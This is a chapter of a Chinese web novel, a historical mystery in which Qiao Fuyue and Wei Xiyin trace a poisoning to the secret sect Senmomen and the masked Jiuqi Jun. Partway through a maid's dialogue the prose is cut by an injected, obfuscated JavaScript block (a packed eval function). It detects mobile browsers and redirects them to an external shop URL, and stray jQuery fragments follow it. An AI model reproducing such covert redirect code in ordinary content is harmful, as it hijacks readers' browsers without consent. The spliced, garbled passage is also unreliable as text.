夜色降临,黑夜笼罩住整片京师,他们二人一路上大气都不敢喘,匆匆赶回了城里。
他们总感觉背后有着诸多人尾随,头也不敢回,慌慌张张地到了廷尉府后,轻轻叩了下门。
不多时,门被敞开来,公冶轩一直焦急等在那里,见状忙上前扶住卫兮鄞,一同走到了后堂里。直到此时,乔芙月才长出了一口气,一颗悬着的心终于放下。
卫兮鄞摆了摆手,让公冶轩先下去。然后他面色苍白地卧了下来,倚在桌案上,强笑着说道:“阿月,我没事的,天色不早了,你也该回去,莫要了乔叔父担心了啊。”
芙月根本不理他,气鼓鼓地半蹲了下来,也靠在桌案前,望着窗外的那轮明月,努力保持冷静地斥责他:“你为什么要这样着急,想被冲昏了头脑般,行事如此不谨慎。”
卫兮鄞讪笑着,可怜巴巴地扯了扯他的袖子,道:“我这不是也是想早些把乔氏案彻底解决,将真凶给绳之以法呀,这谁能想到那个万不胜会是假的啊,还伪装了这么久。”
“你就算是为了我,也不必如此呀!”芙月懊恼地捶了下他的肩头,“你的心是好的,可把自己置于险境只会让我也担惊受怕。你要真出了什么事,就算寻到证据惩治了真凶,我也不会高兴,只会感到愧疚的。”
“我知道错了,阿月,以后再也不会这样一意孤行了。”少年眼眶湿润,拉了拉她的手,故作委屈可怜的样子,任谁都不免心软。
乔芙月自然也不例外,见他态度这般恳切,也不好多说什么。她沉住气来想了想,试探着问道:“你最近有无见过一个商贾打扮的男子,从阳州来的?”
卫兮鄞迟疑片刻,眼眸幽深,琢磨了片刻,摇头说道:“没有,那是何人,莫非与之前死的沈稔有关?”
“没什么。”芙月淡淡地说着,“你若是遇到了定要万分小心,切莫被他所惑,铸下大错。”
“我记住了。”
乔芙月看了眼漆黑的夜空,起身往外走去,留下句:“我先回去了,你好好休息一番再回去,以后万不要如此鲁莽着急了。还有,罗梧背后之人心思极深,布置周密,很难找到破绽的,你还是先暂时放弃,强行查只会翻到落入陷阱之中,百害而无一利。”
“我晓得了。”
卫兮鄞听话地点着头,但当他看着芙月推开门,要离开之时,内心一阵悸动。
他条件反射地冲上前拉住了她,眨巴着眼,如一头害怕的小兽般,柔声求道:“阿月,能先别走吗,再陪我坐一会儿,好吗?”
芙月被他冰凉的手抓住,浑身微微一怔,她犹豫半晌,回过身来默默地坐了回去。
卫兮鄞垂眸看着她,似是想起了什么,故作随意地问了句:“阿月,我听说你给云轻絮买了个宅子,这是真的吗?”
乔芙月愣了愣,皱了皱眉,先是点了一下头,又摇了摇头道:“不全是,一部分是我出的钱,但大部分是二殿下他的安排,你也知道他是邹皇后的孩子,想要替邹家弥补一下。”
“如此啊,”卫兮鄞微微点着头,语气里不乏感激,“殿下恩情不敢忘,我会找机会代云娘子感谢他一番的。”
芙月笑着说道:“殿下素来是个极好的人,他面上冷淡,但心里却还是很善良的,总是会怜悯无辜的。”
卫兮鄞听了她的话,默不作声地侧过头来,低声道:“所以你一直想要帮他,是吗?”
芙月迟钝地点着头,而卫兮鄞早有预料,叹息了一声也没说什么。
他们就这般沉默地坐在一处,月色愈发深沉,照映在他们身上,轮廓越发朦胧起来,彼此间的距离也逐渐模糊。
任凭郊外发生多少波澜,此刻的京城里却依旧是平静祥和的。
一处满是古朴楼堂的府邸,寂静无声,突然一首悠扬的乐曲响起,旋律轻柔动听,化解了所有的负面情绪,独留下满满的心安。
一间幽暗的屋子里,空旷无人,却隐隐传开一丝极轻的对话声,但却根本瞧不见人影。皆因这灰扑扑的墙壁背后尚有一处空间,那是处寻常人察觉不到的密室。
“尊上,韬逸把此物特意交予您,说日后兴许能派上用场。”一袭红衣的荧曦掏出块令牌,恭敬地俯下身来,将木牌举在了头顶。
九栖君轻睨了一眼,拿起令牌放在掌心里,凝视着它许久,笑着道:“如此也没算是成了,没枉费我这许久的筹谋。”
“尊上,这卫兮鄞有何好对付的?与我们也没任何瓜葛,与殿下的大业亦是毫无阻碍。”荧曦不解地开口问道。
“那次在醉蝶楼事发突然,我情急出了手,留下了个破绽,被他细心地盯上了,还让人屡屡查探,”九栖君轻叹了一声,“我本就担心事情败露,算计着将他除掉,不曾想今日被乔家那女娘一掺和,人没做掉,还有留下了更多的破绽,若非韬逸取来此物,有利于借此契机布局,否则后果更难预料。”
“公冶,你过来一下。”
送走乔芙月以后,卫兮鄞好半晌终于缓了过来,有力气站起身子,不再如先前那样虚弱无力。
他叫来公冶轩,轻喘着气,从袖子里取出了一块丝帕,摊开在了桌案之上。
银光闪闪的,吸引了公冶轩的注意,他眯着眼仔细看了又看,猛然间想到了什么,指着它道:“大人,桌上的这根针,莫非与先前从先忠顺侯头颅取出来的那根一样?”
“我也有些怀疑,你去让人看一看,上面是不是也有那种毒。”卫兮鄞一只手托着脸,眼里夹杂着疑虑,似是窥探到了一个极深的秘密般,内心有些激动不已。
公冶轩忙不迭拿起这根针来,迅速跑出了后堂,让人立即去鉴别一番。
卫兮鄞在后堂里等了好久,疲惫感如潮水蔓延,眼皮上下跳着。
几乎快要睡着之时,公冶轩终于步伐匆忙,扶着门举起那根针来,喊道:“大人,你猜的没错,这根针上果真也淬了那种毒。按理而言极其诡异罕见,两根针又都出自京城,恐怕……”
“恐怕是同一人所用,或者至少是同一个门派。”卫兮鄞眯着眼,肯定地说了一声。
他眼神渐渐深邃,仰着头望着远处,自言自语道:“这个人果真是不简单啊,竟然不光与邹长信的死有牵连,还与这森墨门有千丝万缕的关联,当真恐怖,可真的会是他吗?若是他,那未免也太让人难以置信了。”
夜已深,乔芙月出了廷尉府赶回家后,打开自己房间大门,抬眼看去,便见外侧的茶桌边,霜绫正坐在那儿打着瞌睡。
听到动静,她抬起头来,看到了等了许久的自家女公子,站起身来走到她身前,看着她脏乱的衣衫,担忧地问道:“女公子,今日怎么回来的这么晚?是去干什么了啊?弄得这般脏。”
芙月没想到她在这里,一时没想好如何糊弄过去,迟钝了片刻,强行转移话题:“没啥啊,你别管我,你不是早上说去庄园照料我长兄吗,怎么只待了一个白天就回来了啊?”
霜绫闻言面露烦恼,皱着眉说道:“大公子今日非得让我回去,最近也不用过来管他。”
“惹他生气了?”
芙月弯起嘴角,戏谑地笑了一声,而霜绫看出她的想法,拍开她的手,撇着嘴道:“才不是,我哪敢惹他生气啊?”
她沉吟不语,半晌后才慎重考虑下说道:“我总觉得大公子最近有些奇怪,这两次去看他时他都很劳累,像是忙碌了许久似的,可按理而言他整日里也不用做什么事,不该如此疲惫。”
“这倒还真有些古怪,那你有看到过什么具体点的异样状况?”芙月皱眉问道。
“我想想啊,”霜绫回忆了一下,说,“有一次我去他房间,见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17755792|203943||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
门虚掩着就直接走进去,忘记了敲门。当时公子他在桌案前,不知道忙些什么,见我来了很是慌张地收起桌上的书卷,像是害怕让我看到似的。”
这时她才发觉话题被绕开,还扯了这么远,杏眼微瞪,道:“女公子,你快些换好衣裳去吧,还有,你今天也很不正常,面色差成什么样了,究竟是发生了什么啊?”
芙月闻言捂住耳朵,遮遮掩掩地不肯解释,见状霜绫也无可奈何,她转过身往外走去,说了声:“女公子,我去给你拿碗热汤来,暖暖身子。”
等她出了屋,芙月才有精力去想些别的,她慢吞吞地坐到桌案前,从一沓书卷底下抽出来一张纸,摊平开来,紧紧地凝视着上面的字迹。
她眯着眼看着“森墨门”,深思起今日的事来,她初步判断对方今夜之举,是想悄无声息地除掉卫兮鄞,以阻止对方继续查下去,如此来看他们的目的是失败的了。
可一想到最后看到的那个人,她又忍不住多想了一些,毕竟九栖君可不是一般人,这事若牵扯上了他,那定然没那么简单,可她又想不听若今夜是森墨门的筹谋,那他杀狻猊又出于什么目的,难不成是与她有关,还是只是凑巧,他本就与狻猊并非同心。
想了半天,她也没确切的推测,索性换一个方向去思考,卫兮鄞在廷尉府里跟他提过,森墨门在这些事里都是被雇来杀人的,之前还只是韬逸这几人,如今连九栖君都出现了,那他们下一个目标必然不会是普通人。
她皱着眉,手指在纳兰枫这个名字上,愈发觉得他们的目标是他,先前遇到的韬逸还有那个女子,如今又出现的九栖君,无疑说明京师的水越来越混了。
他打算明日要去找一趟纳兰枫,叮嘱他定要保护好自己,莫要疏忽大意,被人抓住机会丢了性命,如此前世的混乱悲剧可就又要重新上演了。
月牙儿悬于空中,皎洁而明亮,深夜里无一丝一毫的声响,安静得可怕。
停止了推敲后,芙月慵懒地坐在坐席上,喝完了霜绫端来的热汤。随后她便上了床榻,伸直了手臂,仰面朝天,淡忘了所有想法,整个人逐渐放松了下来。
可随之而来的不是平静恣意,却是空虚之余骤然间出现的忐忑。脑海逐渐被九栖君那张冰冷的面具铺满,一时间格外惴惴不安。
虽然离被囚禁在行宫的种种经历,已然过了许久许久,仿若隔世一般遥远,当然事实上也的确是前世的旧事,但她却怎么也忘不了九栖君那时的可怖、疯狂。
她先前那次被言沐劫持,之后感受到了九栖君对她的重视,但渐渐才意识到那种保护,是病态的,甚至是一种执念。他把她当成囚于笼里的金丝雀般,过分的在意,毫无半点自由可言。
这一瞬,她心头一阵惶恐,害怕九栖君这一次来的目标并非纳兰枫,而是她。害怕兜兜转转,他又一次注意到了自己,悄然出现在门外把她掳走,让她再过上那种生不如死的日子,那是她最后宁愿坠崖也不想回去的生活。
她辗转反侧,在床上怎么也睡不踏实,听着窸窸窣窣的风声,她当即起了身,下床去看看门窗关紧了没。
凉飕飕的秋风掠过,她缩了缩脖子,用力把窗户给关紧,“嘎吱”声吵醒了在隔壁床上睡觉的霜绫,她走了过来,低声问道:“女公子,这么晚怎么睡不着,快去睡觉吧,明日您还要去书院呢!”
芙月哆哆嗦嗦地走到床榻边,蹲下身来,颤声说着好冷。
霜绫握了握她的手,奇怪地皱着眉道:“不应该啊,屋里也挺暖和的,你还喝了热汤暖身子,怎么还会这样冰?”
芙月默不作声,只是拉住了她的手,让她陪自己一起在床上睡。霜绫无奈地叹了口气,只好答应了下来,睡到她旁边。
兴许是有个人在旁,芙月也有了些安全感,逐渐有了睡意,慢慢睡沉了。